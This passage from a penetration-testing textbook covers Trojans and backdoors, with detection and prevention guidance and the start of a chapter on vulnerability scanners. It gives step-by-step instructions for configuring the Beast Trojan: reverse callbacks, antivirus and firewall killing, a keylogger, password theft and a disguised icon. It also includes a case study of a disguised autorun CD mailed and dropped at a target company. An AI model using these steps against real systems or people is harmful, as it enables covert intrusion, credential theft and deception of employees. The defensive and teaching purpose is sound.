12: Using Trojans and Backdoor Applications\nhost in the client and connect directly to the Trojan. With a reverse connection, the Trojan \nnotifies you with its IP address, causing the Trojan server to initiate the connection to the \nclient. If you choose reverse connection, you need to enter a static IP notification (SIN) port \nnumber or keep it at the default port 9999. If you are using a direct connection, you can skip \nconfiguring a SIN port number, but you might want to configure the listening port. (The \ndefault is 6666.) \nNext, you should configure how you want to inject the Trojan. You can bind the Trojan to \nInternet Explorer, Explorer.exe, or to another executable, such as Notepad.exe. You can also \nchoose not to wrap the Trojan, but that does not provide as much stealth.\nIf you do want to be notified when the server becomes infected, you need to click on the \nNotifications button and configure the way you want to be notified. (See Figure 12-50.) \nYour options include these:\n•\nSIN\n•\nE-mail\n•\nICQ\n•\nCGI\nFigure 12-50\nBeast Notification Options\nPutting a Trojan on a system and running it is not enough, however. You might also want to \nconfigure the infected system so that it runs the Trojan on startup. You can do this by \nclicking on the StartUp button shown in Figure 12-51. Here, you can choose to run the \nTrojan via the ActiveX method, HKey Local Machine, or HKey Current User. Only use the \nActiveX method when you bind Beast to Internet Explorer. The HKey Local Machine \noption adds a registry entry that affects all users who are logged into the machine, whereas \nthe HKey Current User only runs the Trojan whenever the infected user logs onto the \nsystem. \n" }, { "page_number": 442, "text": "Trojans and Backdoors 415\nFigure 12-51\nBeast StartUp Options\nAfter you set the StartUp options, you should select the AV-FW Kill settings shown in \nFigure 12-52. Beast recognizes hundreds of common firewall and anti-virus software \napplications, including the built-in XP firewall. Using this feature, you can terminate these \nsecurity applications. Because many of the popular anti-virus and firewall applications can \nbe configured to be restarted if they are terminated, Beast provides an option to continually \nterminate them for a specified number of seconds. (The default is five seconds.)\nFigure 12-52\nBeast AV-FW Kill\nBeast also has miscellaneous server options. (See Figure 12-53.) Common options include \nmelting the server on install, enabling a keylogger, and clearing restore points on Windows \nXP machines. Melting the server on install removes the executable server file when the \nTrojan is executed. The Trojan remains running in RAM but does not exist as a file on the \nhard drive. Note that if you select this option, you cannot select the Windows startup options \nbecause the Trojan file no longer exists when the computer reboots. Enabling the keylogger \nallows you to monitor whatever users are typing on the infected host. The third common \n" }, { "page_number": 443, "text": "416\nChapter 12: Using Trojans and Backdoor Applications\noption is to clear restore points. Windows XP provides a restore feature to help restore your \ncomputer to a previous state if the system gets corrupted. Choosing to clear restore points \nprevents the infected host from being able to revert to a previous known-good state.\nFigure 12-53\nBeast Miscellaneous Server Options\nThe final server setting is to choose the Exe Icon, as shown in Figure 12-54. Although the \nchoice you make is not that significant, you should choose a common Windows icon so that \nyou do not raise suspicion. This becomes especially important if you are attempting to send \nthe Trojan via e-mail, because the unsuspecting user sees the icon and has to evaluate it to \ndetermine if it is safe.\nFigure 12-54\nBeast Exe Icon\nAfter you have finished selecting your server options, select the Save Server button. \nNext, you need to upload the Trojan and execute it on the server, as you did with the other \nTrojans mentioned in this chapter.\n" }, { "page_number": 444, "text": "Trojans and Backdoors 417\nMany anti-virus software programs detect Beast as a Trojan and do not allow it to be \ninstalled. If you want to circumvent firewalls, you need a modified version of Beast. The \nauthor of Beast offers such a modified version for a small fee. He mutates the program so \nthat it is a unique copy that is undetectable by anti-virus software applications.\nBeast Client\nWhen you have finished uploading and executing the Trojan on your target host, you will \nwant to control the server remotely. To do this, enter the IP address and, if configured, the \npassword. Then click Connect from the main Beast program window. If you have chosen \na different port number than the default of 6666, enter that, too. You then see the screen \nshown in Figure 12-55.\nFigure 12-55\nBeast Client \nSeven categories of client control utilities exist:\n•\nManagers\n•\nWindows\n•\nLamer Stuff\n•\nFun Stuff\n•\nServer\n•\nMisc\n•\nBeast Stuff\nFrom the Managers category, you can manage the Windows file system (see Figure 12-56), \ncontrol the registry, see the screen, enable the webcam, manage applications or processes, \nstart and stop services (see Figure 12-57), and collect passwords (see Figure 12-58). You \nalso can retrieve protected storage, ICQ, and dial-up passwords.\n" }, { "page_number": 445, "text": "418\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-56\nBeast File Manager\nFigure 12-57\nBeast Services Manager\n" }, { "page_number": 446, "text": "Trojans and Backdoors 419\nFigure 12-58\nBeast Password Retrieval Utility\nThe Windows options, shown in Figure 12-59, allow you to hide windows, crash programs, \nreboot, shut down, and log off users. These options are commonly used as a DoS attack. \nFigure 12-59\nBeast Windows Options\nThe Lamer Stuff options (shown in Figure 12-60) allow many of the same gimmick \nfunctions found in other Trojans mentioned in this chapter. Here you can swap mouse \nbuttons, close the CD-ROM tray, and hide common desktop items such as the clock or \ndesktop icons.\n" }, { "page_number": 447, "text": "420\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-60\nBeast Lamer Stuff\nThe next option, Fun Stuff, is closely related to the previous utilities. Shown in Figure 12-61, \nhere you can hide the mouse, change the wallpaper, chat with the user on the infected host, \nor launch a web browser and go to a website of your choosing.\nFigure 12-61\nBeast Fun Stuff\nNext is the Server option, shown in Figure 12-62. Here you can update the server to the \ncurrent version (2.06 at the time of writing) or close the server. If you suspect that your \nTrojan might be detected, you might want to terminate it from running.\nEarlier, in the server setup, you had the option of configuring a keylogger. To activate the \nkeylogger, click on the Misc button, shown in Figure 12-63. Note that this requires a plug-\nin to be uploaded to the server. You can either preload the plug-ins by clicking the Plugins\nbutton, or you can load it upon selecting the KeyLogger function.\n" }, { "page_number": 448, "text": "Trojans and Backdoors 421\nFigure 12-62\nBeast Server Options\nFigure 12-63\nBeast Misc. Options\nThe Misc options also include a Scanner feature. As shown in Figure 12-64, this feature \nscans an IP subnet and detects any other hosts who are infected with the Beast Trojan. \nLike the Donald Dick and SubSeven Trojans, you can send a message to the infected host. \nIn Beast, you can find this message option under the Misc options, along with the Scanner \nand KeyLogger utilities. Figure 12-65 shows the various options available with sending a \ncustom error message to the server, a technique commonly used with social engineering. \n(For more on social engineering, see Chapter 4.)\n" }, { "page_number": 449, "text": "422\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-64\nBeast Scanner\nFigure 12-65\nBeast Custom Error Messages\nFinally, Beast offers the capability to run your own program. Also found in the Misc options, \nthe Run Appz feature in Figure 12-66 lets you run a program of your choice. Figure 12-66 \nshows the nbtstat program running to show which TCP and UDP ports are listening. The \n" }, { "page_number": 450, "text": "Detecting Trojans and Backdoor Applications 423\nfirst entry is an established TCP connection on port 6666, which happens to be the port that \nBeast runs on. \nFigure 12-66\nBeast Run Appz\nDetecting Trojans and Backdoor Applications\nNow that you have learned about the dangerous viruses, worms, and Trojans, it is time to \nlearn how to detect and prevent these malware applications from infiltrating your network.\nDetecting Trojans and backdoors depends largely on their age and sophistication. Older \ntraditional Trojans will most likely be detected easily based on the signatures they have, \nwhereas new Trojan/backdoors can remain undetected for a long period of time. This \nsection covers some examples of detecting backdoor programs. You have several tools in \nyour arsenal to aid in detection of these malware products, including the following:\n•\nMD5 checksums\n•\nMonitoring ports locally\n•\nMonitoring ports remotely\n•\nAnti-virus and Trojan scanners\n•\nIntrusion detection systems\n" }, { "page_number": 451, "text": "424\nChapter 12: Using Trojans and Backdoor Applications\nMD5 Checksums \nWhenever you acquire software from an unknown source, you should either get rid of the \nsoftware or produce an MD5 checksum from the file and then compare it against that \npublished on the vendor website. For example, when you go to http://packetstorm \nsecurity.org and download software, you see the MD5 Check value listed with the link. \nWhen the software is downloaded, use an MD5 tool such as MD5-tool (found at http://\nwww.bindview.com) to generate the MD5 hash of the downloaded file. Next, compare this \nhash value to the ones located on the official trusted vendor site to check for any \ndiscrepancy. This is the first step in detecting a compromised file. \nBy using system integrity products such as those by Tripwire, you can monitor entire server \nhard drives for any type of file or folder modification. The software scans and records \nsignatures of your drives and scans for any changes on a routine basis. Tripwire also can \nnotify you if anything changes. You can use such a tool to inform you that a new file has \njust appeared on the system or even that an existing file has changed, all pointing to some \nunexpected difference that could be a backdoor or Trojan being installed on the system. See \nhttp://www.tripwire.com for more details.\nMonitoring Ports Locally\nMonitoring ports can be a good way of detecting installed backdoors. The basic function of \na backdoor program is to create and open one or more ports that a client (attacker) can \nconnect to. By monitoring for any unusual ports opened on a computer, you can detect \nTrojan/backdoor software waiting for just such a connection. You can use several tools to \nmonitor locally open ports, including the following:\n•\nnetstat.exe\n•\nfport.exe\n•\ntcpview.exe\nTable 12-5 displays a small subset of some possible malicious port numbers. (For more \ndetail, look at http://www.onctek.com/trojanports.html or http://www.simovits.com/sve/\nnyhetsarkiv/1999/nyheter9902.html.)\nTable 12-5\nTrojan and Backdoor Port Numbers \nPort Number\nTrojan Horse/Backdoor \n2773\nSubSeven Gold 2.1\n2774\nSubSeven Gold 2.1\n3129\nMaster’s Paradise \n6666\nDarkConnection Inside, NetBus worm\n6667\nPretty Park, DarkFTP, ScheduleAgent, SubSeven\n" }, { "page_number": 452, "text": "Detecting Trojans and Backdoor Applications 425\nPort Number\nTrojan Horse/Backdoor \n6667\nSubSeven 2.14, DefCon 8, Trinity, WinSatan\n6712\nSubSeven, Funny Trojan\n6713\nSubSeven\n6776\nBackDoor-G, SubSeven 2000, Cracks, VP Killer\n7000\nRemote Grab, Kazimas Exploit Translation Server, SubSeven\n7000\nSubSeven 2.1 Gold\n7215\nSubSeven 2.1 Gold\n7777\nTini\n8787\nBackOrifice 2000\n8988\nBacHack\n9872\nPortal of Doom\n9873\nPortal of Doom\n9874\nPortal of Doom\n9875\nPortal of Doom\n10067\nPortal of Doom (UDP)\n11000\nSenna Spy\n12361\nWhack-a-mole\n12362\nWhack-a-mole\n12363\nWhack-a-mole\n13000\nSenna Spy\n16959\nSubSeven 2.14\n20034\nNetBus 2 Pro\n22222\nProsiak\n22222\nDonal Dick Ruler\n23476\nDonald Dick\n23477\nDonald Dick\n27374\nSubSeven 2.1 (UDP)\n27374\nBad Blood\n27374\nRamen\n27374\nSeeker\nTable 12-5\nTrojan and Backdoor Port Numbers (Continued)\ncontinues\n" }, { "page_number": 453, "text": "426\nChapter 12: Using Trojans and Backdoor Applications\nNOTE\nConsult http://www.iana.org/assignments/port-numbers, provided by IANA, to see the list \nof properly assigned port numbers. \nNetstat\nNetstat is an administrative command-line tool that ships standard with most Windows \nsystems. It provides the capability to “Display protocol statistics and current TCP/IP \nnetwork connections” as the Microsoft help displays. You can use this tool to detect and \nidentify open ports on a local computer. Example 12-1 displays Netstat in action.\nPort Number\nTrojan Horse/Backdoor \n27374\nDefCon 8\n27374\nTtfloader\n27573\nSubSeven 2.1 (UDP)\n30003\nLamer’s Death\n31336\nBo Whack\n31336\nButt Funnel\n31337\nBaron Night\n31337\nBackOrifice client\n31337\nBack Orifice 2000\n32001\nDonald Dick\n34444\nDonald Dick\n40421\nAgent\n40421\nMaster’s Paradise\n40422\nMaster’s Paradise\n40423\nMaster’s Paradise\n54283\nSubSeven 2.1 Gold\n54320\nBack Orifice 2000\nExample 12-1 Using netstat\nC:> netstat –a\nActive Connections\n Proto Local Address Foreign Address State\nTable 12-5\nTrojan and Backdoor Port Numbers (Continued)\n" }, { "page_number": 454, "text": "Detecting Trojans and Backdoor Applications 427\nAs you can see, several open ports are waiting for action. Notice that if Windows recognizes \nthe port number, it displays the associated service or program name. The –a switch displays \nall connections on active listening ports. As the output shows, you can see several typical \nTrojan ports open and waiting for connection: Tini, Netbus, Donald Dick, and SubSeven. \n(Refer to the port numbers in Table 12-5.) \n TCP WEB2:echo WEB2:0 LISTENING\n TCP WEB2:discard WEB2:0 LISTENING\n TCP WEB2:daytime WEB2:0 LISTENING\n TCP WEB2:qotd WEB2:0 LISTENING\n TCP WEB2:chargen WEB2:0 LISTENING\n TCP WEB2:ftp WEB2:0 LISTENING\n TCP WEB2:smtp WEB2:0 LISTENING\n TCP WEB2:http WEB2:0 LISTENING\n TCP WEB2:epmap WEB2:0 LISTENING\n TCP WEB2:microsoft-ds WEB2:0 LISTENING\n TCP WEB2:1025 WEB2:0 LISTENING\n TCP WEB2:1026 WEB2:0 LISTENING\n TCP WEB2:1027 WEB2:0 LISTENING\n TCP WEB2:2239 WEB2:0 LISTENING\n TCP WEB2:3372 WEB2:0 LISTENING\n TCP WEB2:3389 WEB2:0 LISTENING\n TCP WEB2:1212 WEB2:0 LISTENING\n TCP WEB2:7777 WEB2:0 LISTENING\n TCP WEB2:12345 WEB2:0 LISTENING\n TCP WEB2:12346 WEB2:0 LISTENING\n TCP WEB2:23476 WEB2:0 LISTENING\n TCP WEB2:23477 WEB2:0 LISTENING\n TCP WEB2:27374 WEB2:0 LISTENING\n TCP WEB2:ms-sql-s WEB2:0 LISTENING\n TCP WEB2:netbios-ssn WEB2:0 LISTENING\n TCP WEB2:ms-sql-s WEB2:0 LISTENING\n UDP WEB2:echo *:* \n UDP WEB2:discard *:* \n UDP WEB2:daytime *:* \n UDP WEB2:qotd *:* \n UDP WEB2:chargen *:* \n UDP WEB2:epmap *:* \n UDP WEB2:snmp *:* \n UDP WEB2:microsoft-ds *:* \n UDP WEB2:1028 *:* \n UDP WEB2:1029 *:* \n UDP WEB2:ms-sql-m *:* \n UDP WEB2:3456 *:* \n UDP WEB2:netbios-ns *:* \n UDP WEB2:netbios-dgm *:* \n UDP WEB2:isakmp *:* \nExample 12-1 Using netstat (Continued)\n" }, { "page_number": 455, "text": "428\nChapter 12: Using Trojans and Backdoor Applications\nfport\nfport is a free command-line tool created by Foundstone that can assist in basic detection. \nfport provides the capability to list ports similar to netstat; however, it provides just a little \nmore detail by showing which program on the hard drive is owning the port and where the \nprogram is located on the disk. Example 12-2 shows sample output from fport.\nNotice that fport displays the file location of a process called patch.exe using ports 12345 \nand 12346 (Netbus). Then Tini.exe is on port 7777, pmss.exe is on port 23476 (Donald \nDick), aefefug.exe is on port 27374 (which, according to the port listing in Table 12-5, is \nSubSeven), and port 1212 points to NetCat. (See Example 12-1.) fport is quite handy for \ndiscovering open ports to programs that might otherwise have gone undetected with \nNetstat. For more information on fport, see http://www.foundstone.com/\nindex.htm?subnav=resources/navigation.htm&subcontent=/resources/proddesc/fport.htm.\nExample 12-2 Using fport\nC:>fport.exe\nFPort v2.0 - TCP/IP Process to Port Mapper\nCopyright 2000 by Foundstone, Inc.\nhttp://www.foundstone.com\nPid Process Port Proto Path \n864 tcpsvcs -> 7 TCP C:\\WINNT\\System32\\tcpsvcs.exe \n864 tcpsvcs -> 9 TCP C:\\WINNT\\System32\\tcpsvcs.exe \n864 tcpsvcs -> 13 TCP C:\\WINNT\\System32\\tcpsvcs.exe \n864 tcpsvcs -> 17 TCP C:\\WINNT\\System32\\tcpsvcs.exe \n864 tcpsvcs -> 19 TCP C:\\WINNT\\System32\\tcpsvcs.exe \n948 inetinfo -> 21 TCP C:\\WINNT\\System32\\inetsrv\\inetinfo.exe\n948 inetinfo -> 25 TCP C:\\WINNT\\System32\\inetsrv\\inetinfo.exe\n948 inetinfo -> 80 TCP C:\\WINNT\\System32\\inetsrv\\inetinfo.exe\n440 svchost -> 135 TCP C:\\WINNT\\system32\\svchost.exe \n8 System -> 139 TCP \n8 System -> 445 TCP \n492 msdtc -> 1025 TCP C:\\WINNT\\System32\\msdtc.exe \n828 MSTask -> 1026 TCP C:\\WINNT\\system32\\MSTask.exe \n948 inetinfo -> 1027 TCP C:\\WINNT\\System32\\inetsrv\\inetinfo.exe\n728 sqlservr -> 1433 TCP C:\\PROGRA~1\\MICROS~3\\MSSQL\\binn\\sqlservr.exe\n948 inetinfo -> 2239 TCP C:\\WINNT\\System32\\inetsrv\\inetinfo.exe\n492 msdtc -> 3372 TCP C:\\WINNT\\System32\\msdtc.exe \n916 termsrv -> 3389 TCP C:\\WINNT\\System32\\termsrv.exe \n1515 nc -> 1212 TCP C:\\nc.exe\n1516 tini -> 7777 TCP C:\\tini.exe\n1544 patch -> 12345 TCP C:\\19 Netbus17\\patch.exe\n1544 patch -> 12346 TCP C:\\19 Netbus17\\patch.exe\n1600 pmss -> 23476 TCP C:\\WINNT\\System32\\pmss.exe \n1600 pmss -> 23477 TCP C:\\WINNT\\System32\\pmss.exe \n1580 aepfefug -> 27374 TCP C:\\WINNT\\aepfefug.exe \n" }, { "page_number": 456, "text": "Detecting Trojans and Backdoor Applications 429\nTCPView\nTCPView is a great graphical tool created by Mark Russinvoch at http://\nwww.Sysinternals.com. It is very much like a graphical Netstat tool that dynamically \ndisplays connection opening and closing. The tool also allows you to reset the connection \nand even close the process that is listening on the port. Figure 12-67 displays a screen shot \nof TCPView.\nFigure 12-67\nTCPView\nFor more information and details about TCPView, see http://www.sysinternals.com/ntw2k/\nsource/tcpview.shtml.\nBy monitoring ports locally, you can easily find processes that you might not have expected \nto be running. These can in turn lead to the malware that gives hackers easy access to your \nsystem.\nMonitoring Ports Remotely\nMonitoring local ports is quite important for finding backdoors and Trojans running on a \ncomputer. However, by monitoring ports remotely, you can greatly increase the efficiency \nof your time. Think of scanning an entire network range just looking for backdoor/Trojan \nhorse ports. By using tools such as NMap, you can quite easily schedule network port \nscanning on a daily basis and output the results to a file that you can parse or grep later for \n" }, { "page_number": 457, "text": "430\nChapter 12: Using Trojans and Backdoor Applications\nfuture analysis. (See http://www.openxtra.co.uk/support/howto/nmap-scanning-at-\nintervals.php for directions on how to configure NMap to run at intervals.) Example 12-3 \ndisplays NMap output from a remote computer that contains Tini, Netbus, Donald Dick, \nand SubSeven Trojan/backdoors.\nAlthough Nessus is typically known as a full-featured vulnerability scanner, it is also useful \nin the detection of Trojan horse ports. Also look to this tool when sweeping a network for \ninstalled malware. \nFor more details on Nessus, see http://www.nessus.org/.\nAnti-virus and Trojan Scanners Software\nIn the early days, anti-virus programs did not detect Trojans as well as the viruses that they \nwere designed to scan for. Trojan/backdoor programs could be located anywhere and \nexecuted several ways, which made detection a little more difficult than the standard virus, \nExample 12-3 Using NMap\nc:>nmap -sS -PT -PI -p 1-30000 -O -T 3 192.168.200.100\nStarting nmap V. 3.00 ( www.insecure.org/nmap )\nInteresting ports on WEB1 (192.168.200.100):\n(The 29980 ports scanned but not shown below are in state: closed)\nPort State Service\n23/tcp open telnet \n53/tcp open domain \n80/tcp open http \n135/tcp open loc-srv \n139/tcp open netbios-ssn \n445/tcp open microsoft-ds \n1025/tcp open NFS-or-IIS \n1026/tcp open LSA-or-nterm \n1029/tcp open ms-lsa \n1031/tcp open iad2 \n1433/tcp open ms-sql-s \n1434/tcp open ms-sql-m \n2382/tcp open unknown \n2383/tcp open unknown \n1212/tcp open unknown \n7777/tcp open unknown \n12345/tcp open NetBus \n12346/tcp open NetBus \n23476/tcp open unknown \n23477/tcp open unknown \n27374/tcp open subseven \nRemote operating system guess: Microsoft Windows.NET Enterprise Server (build 3604-\n3615 beta)\nNmap run completed -- 1 IP address (1 host up) scanned in 2 seconds\n" }, { "page_number": 458, "text": "Detecting Trojans and Backdoor Applications 431\nwhich always behaved in a standard manner. However, now anti-virus programs are much \nimproved and generally perform well at finding and removing the standard Trojans, \nbackdoors, and viruses. Even spyware scanners such as http://www.aluria.com detect \nseveral Trojans, including Donald Dick and Tini. Table 12-6 displays some generally useful \nAV programs.\nUsing dedicated Trojan detection tools combined with a standard AV program give you a \npretty thorough detection and protection program. Some of the scanners listed in Table 12-6 \nhave been around for a long time. For example, TDS has been around since 1997 and offers \na wealth of features in the hands of an expert. Table 12-6 displays a list of Trojan horse \nscanners. You should review and compare these tools in your own environment to find \nwhich one works best for you. \nIntrusion Detection Systems\nIDSs can be used with a degree of success when it comes to detecting backdoor \nconnections. Older backdoors, such as Netbus and SubSeven, can be detected quite easily \nwhen the client and server use the default port numbers and communication is in progress. \nUnfortunately, after you move from those default numbers, the detection success rate goes \ndown rapidly. Backdoors such as NetCat and Beast, which can use any port, are virtually \nundetectable if you are not manually searching for anomalies in traffic patterns. For sample \ntests, NetCat, Tini, Netbus, Donald Dick, SubSeven, and Beast were installed on a Windows \n2003 Server and used the client tools to control the server and create some traffic. The \nresults showed that only Netbus and SubSeven communications were detected, leaving all \nthe others to run freely, undetected. Figure 12-68 displays the alarms detected on the Cisco \n4200 Series Sensor.\nTable 12-6\nAnti-Trojan Programs\nName\nLink\nAnti-Trojan 5.5\nhttp://www.anti-trojan.net\nThe Cleaner\nhttp://www.moosoft.com \nLockDown2000\nhttp://www.lockdown2000.com\nPC Door Guard\nhttp://www.trojanclinic.com \nPest Patrol\nhttp://www.pestpatrol.com\nTauscan\nhttp://www.agnitum.com \nTrojan Defense Suite (TDS)\nhttp://tds.diamondcs.com.au \nTrojans First Aid Kit\nhttp://www.snake-basket.de \nTrojanHunter\nhttp://www.mischel.dhs.org \nTrojan Remover\nhttp://www.simplysup.com \n" }, { "page_number": 459, "text": "432\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-68\nTrojans Detected\nBecause so many of the Trojans were not detected, it is important not to rely on IDS alone \nto detect Trojans and backdoors in your environment.\nPrevention\nPreventing Trojan horse and backdoor attacks really comes down to constantly monitoring \nyour systems. Following are some preventative measures you should consider:\n•\nInstall patches—Installing patches helps keep your servers up to date with the latest \nvulnerability fixes for the operating system or applications. By fixing known \nvulnerabilities, you minimize the effectiveness of exploits that are designed to place \na Trojan on the system in the first place.\n•\nInstall IDSs—IDSs do not actually prevent Trojan horses or backdoor software, but \nthey can help detect them and better yet detect the early signs of an attack that might \nlead to placing backdoors on a system. Detected ICMP and port scans can be the first \nsignal to the administrator that trouble is brewing and to keep an eye out for possible \nfuture problems.\n•\nInstall anti-virus and Trojan scanners—These software packages alone cannot \nprevent attacks and can only detect that something bad has been installed on the \nsystem. Take advantage of the features they do offer, however, because they do help \nto prevent future attacks or further compromise by removing existing backdoors.\n•\nInstall firewalls—Installing a firewall makes attacks and hacking attempts much \nmore difficult. Try to open only those ports that are absolutely required, thus limiting \nyour exposure on the Internet. After a Trojan has successfully gained access behind \nthe firewall, the firewall might as well not be there.\n•\nInstall a host-based IDS—Software packages that monitor all application activity \nand every network connection going from and coming to your computer work quite \nwell in this area. A host-based IDS typically allows you, the administrator of the \ncomputer, to approve or reject all programs attempting to execute and also those who \nare requesting Internet access. \n" }, { "page_number": 460, "text": "Case Study\n433\n•\nLearn the dangers—By educating yourself and especially your employees, you can \nreduce the risk of compromise. Tell everyone to avoid installing dubious programs or \ndownloading software from unknown sources on the Internet. Watch carefully for any \nunusual programs or processes running in your Windows Task Manager or other \noddities that can occur during an attack. \nCase Study\nThis case study gives you an idea of how to penetrate a network that might ordinarily appear \nimpenetrable. The steps given here are somewhat out of bounds for penetration testing, but \nif the contract is open to any possible penetration, view this case study as a novel idea and \na workable possibility. This study also serves to generate a little anxiety over how a hacker \ncan gain access to any system. If one way does not work, the hacker can try another way.\nEvil Jimmy has been tirelessly trying to get past a PIX firewall into Little Company \nNetwork (LCN). Finally, after exhausting scanning, web hacking, and endless SQL \ninjection attacks to no avail, Jimmy resorts to a dark and evil path. He will send LCN a \nTrojan horse that can be installed on any computer and will come back through that tough \nPIX firewall and right to his home computer. \nJimmy will take a brilliant and popular backdoor program called Beast (as covered \npreviously in the chapter) and place it on a CD with autorun configured to execute it when \nsomeone puts the CD in his computer. Next, he will sit back and wait for someone to run \nthe CD and allow the Trojan to become installed. The Trojan will contact Jimmy’s hacking \ncomputer at his home.\nStep 1\nThe first thing is to create the backdoor server with Beast. By clicking on \nthe Build Server button, Jimmy selects explorer.exe, the program that \nBeast should inject itself into. This enables Beast to go undetected by \nmost anti-virus software programs. (See Figure 12-69.)\nFigure 12-69\nSetting Injects Itself into Explorer.exe\n" }, { "page_number": 461, "text": "434\nChapter 12: Using Trojans and Backdoor Applications\nStep 2\nBecause a firewall is involved, Evil Jimmy creates not a listening Beast, \nbut a Beast that can send connection requests to Evil Jimmy’s attack \ncomputer (Reverse Connection). On the basic screen, he enters port 80 as \nthe listening port he will be using and selects the Reverse connection\nradio button. (See Figure 12-70.)\nFigure 12-70\nSetting Attacker Port Number\nStep 3\nThe next setting is to configure the IP address of Evil Jimmy’s attacking \ncomputer so that the backdoor knows where to go. By clicking on Notifications, \nJimmy can either enter the DNS name or an IP address. He enters his attacking \ncomputer’s IP address of 172.16.0.13. (See Figure 12-71.)\nFigure 12-71\nSetting Attacker IP Address\n" }, { "page_number": 462, "text": "Case Study\n435\nStep 4\nNext, Evil Jimmy saves the server and renames it to installprep.exe, \nwhich looks fairly innocuous on any installation CD. Jimmy uses this file \non his autorun CD.\nStep 5\nNow it is time to build the autorun CD that will run the Beast server \nprogram called installprep.exe. Creating an autorun.inf file is shown \nhere:\n[AutoRun]\nopen=installprep.exe\nThe installprep.exe file executes if the CD is configured for auto start.\nNOTE\nFor a great article on autorun, see http://www.ezau.com/latest/articles/autorun.shtml.\nAutorun allows autorun.inf to execute multiple programs.\nStep 6\nNext, Jimmy takes all the files from a normal anti-virus CD that he uses \nas a disguise and replaces autorun.inf with his modified one. He places \ninstallprep.exe into the folder, too. \nStep 7\nJimmy burns the CD and creates a professional-looking anti-virus label \nfor it. \nStep 8\nNext, he creates a polite cover letter and instruction sheet explaining that \nthe content of the CD is a “90-day trial version of the next generation of \nenterprise, active anti-virus software. Install the software on your server \nto enable the full features of the product.”\nStep 9\nJimmy creates ten copies of the CD, includes instructions, and mails \nthem to eight different people at LCN. He leaves the last two copies in \nthe parking lot of LCN for anyone to pick up and read. He hopes \nemployees will insert the CD into their office computer and execute his \nversion of installprep.exe.\nStep 10 Jimmy launches the Beast client on his attack computer and configures it \nto listen for incoming requests on port 80. \nStep 11 He sits back and waits for a few days until someone actually installs the \nCD. It comes as no surprise that it works. (See Figure 12-72.)\n" }, { "page_number": 463, "text": "436\nChapter 12: Using Trojans and Backdoor Applications\nFigure 12-72\nLCN Compromised by Beast and Evil Jimmy\nStep 12 Now Jimmy can use the initial computer as a springboard into the rest of \nthe network. Jimmy starts downloading his entire hacker toolkit and \nsettles in for a long session at LCN.\nImagine if this was to actually happen and just one person clicked on the setup program or \ninserted the CD to autoplay. Beast would be installed and start to execute, allowing external \naccess to the system. The best course of defense against an attack such as this can only be \nuser education and continuous AV monitoring. \nSummary\nThis chapter introduced Trojans, backdoor applications, viruses, and worms. Although it \nmight be uncommon for penetration testers to employ viruses in their simulated attack, \nTrojans and backdoor applications are quite common. Regardless of the tools used, make \nsure that the contract lists specifics before testing occurs. \nAlso, if you use a Trojan, use one that utilizes a password so that malicious hackers cannot \nalso connect and exploit the server if they discover a Trojan running on a server that they \nare trying to exploit. \nWhen the penetration test is complete, remove all Trojan and backdoor utilities from the \nserver. Perform a thorough scan of the server to verify that the Trojan is no longer resident.\n" }, { "page_number": 464, "text": "Summary 437\nIf you are successful in uploading a Trojan onto the target server, educate the target \ncompany on how to secure against such exploits. Historically, this has been accomplished \nthrough anti-virus software. Prevention is always better than detection, however. Encourage \nthe target company to have a strong security policy with regular enforcement checking. In \naddition, anti-virus software alone has now been shown to be insufficient in detecting all \nTrojan attacks. Just as the penetration tester has an arsenal of tools to exploit the target \nsystem, security analysts should likewise have an arsenal of tools to protect against security \nbreaches. These tools include active anti-virus software, firewalls, host and network-based \nIDS, system integrity checkers, and Trojan scanners. With proper care, you can feel \nconfident that there is little chance of being infected by Trojans or viruses.\n" }, { "page_number": 465, "text": "The world will not evolve past its current state of crisis by using the same thinking that \ncreated the situation.\n—Albert Einstein\n" }, { "page_number": 466, "text": "C H A P T E R 13\nPenetrating UNIX, Microsoft, \nand Novell Servers\nIn Chapter 12, “Using Trojans and Backdoor Applications,” you learned about Trojans and \nother backdoor applications that you can use on your target hosts during a penetration test. \nThis chapter covers other means of testing servers for vulnerabilities. This chapter also \ncovers exploits for the three most popular server operating system platforms—UNIX, \nMicrosoft, and Novell. \nNo matter what server platform you use, however, you will probably begin your test with a \nvulnerability scanner. A vulnerability scanner scans your target host and checks it against \na database of vulnerability signatures. Thousands of known vulnerabilities exist, and it is \nimpractical to expect a penetration tester to keep track of all of them. Vulnerability scanners \nassist in testing by scanning your target host and comparing it with vulnerabilities. You can \nthink of it like penetration testing on autopilot.\nThese vulnerability databases are routinely updated from such vulnerability sites as http://\ncve.mitre.org and http://www.securityfocus.com/bid. The vulnerability scanner is only as \ngood as its database, so make sure you routinely update it. Also, remember that \nvulnerability scanning tests the system only for a point in time. If a vulnerability exists that \nis not in the database at the time of testing, you will be unaware of its existence. All parties \ninvolved in a penetration test should be aware of this fact and set their expectations \naccordingly. Penetration tests are helpful, but they are only accurate for the point of time \nwhen the test was performed. \nOther factors to consider are the cost and the intrusiveness of the scanner. Some scanners \nare free to use under the General Public License. Others can cost thousands of dollars each \ntime they are used (licensing being based on IP address). This chapter introduces you to \nboth open source (GPL) and commercial scanners. \nThe level of intrusiveness is a direct reflection of how much of an impact you want to make \nagainst a production machine. Some scanners can perform denial-of-service (DoS) attacks \nagainst your target. Such attacks, if successful, would be disruptive to a production network \nand should be performed only if you have written authorization to do so. Always test a \nvulnerability scanner in a closed lab environment first to test how intrusive it is on a \nnetwork. You do not want to launch a scan that performs a DoS attack if you are not \nauthorized to do so.\n" }, { "page_number": 467, "text": "440\nChapter 13: Penetrating UNIX, Microsoft, and Novell Servers\nGeneral Scanners\nA vulnerability scanner performs the following steps:\n1 Scans a network or host to determine if it is active\n2 Looks for services that are running on the network or host\n3 Categorizes vulnerabilities for each service running\n4 Reports on any vulnerabilities found\nThe sections that follow cover five popular vulnerability scanners:\n•\nNessus\n•\nSAINT\n•\nSARA\n•\nISS\n•\nNetRecon\nNessus\nNessus (http://www.nessus.org) is an open-source vulnerability scanner created by Renaud \nDeraison in 1998. Originally a Linux tool, there is now a Windows version. Nessus is free \nto use under the GPL, but it does require an activation key, which is sent to a validated e-\nmail address. This validation helps track who is using the tool, which might deter some \nmalicious hackers from using Nessus.\nNessus is a powerful scanner with its own scripting language called Nessus Attack \nScripting Language (NASL). Nessus scans your target for standard ports but also checks \nnonstandard ports for services. For example, if you have a web server running on port 8080 \ninstead of port 80, Nessus is powerful enough to detect this by checking each port, not just \nthe common ports, for common services such as web and FTP. \nNessus has more than 7600 